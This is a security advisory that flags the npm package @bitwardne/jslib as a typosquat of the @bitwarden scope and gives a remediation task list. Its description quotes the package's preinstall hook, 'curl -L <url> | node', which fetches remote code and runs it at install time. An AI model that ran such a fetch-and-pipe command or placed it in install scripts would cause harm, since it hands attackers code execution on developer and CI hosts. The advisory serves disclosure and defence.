MAL-2026-17694 Malicious code in @bitwardne/jslib (npm)
Malicious package
Published
MAL-2026-17694 is a malicious package: @bitwardne/jslib (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17694/ (Markdown: https://insights.sbomify.com/MAL-2026-17694/index.md)
- Package
- @bitwardne/jslib
- Registry
- npm
What is MAL-2026-17694?
MAL-2026-17694 is a malicious package in @bitwardne/jslib, published on 8 Oct 2026.
Official description
Package @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form
curl -L <url> | node, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at npm install time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.What should I do about MAL-2026-17694?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.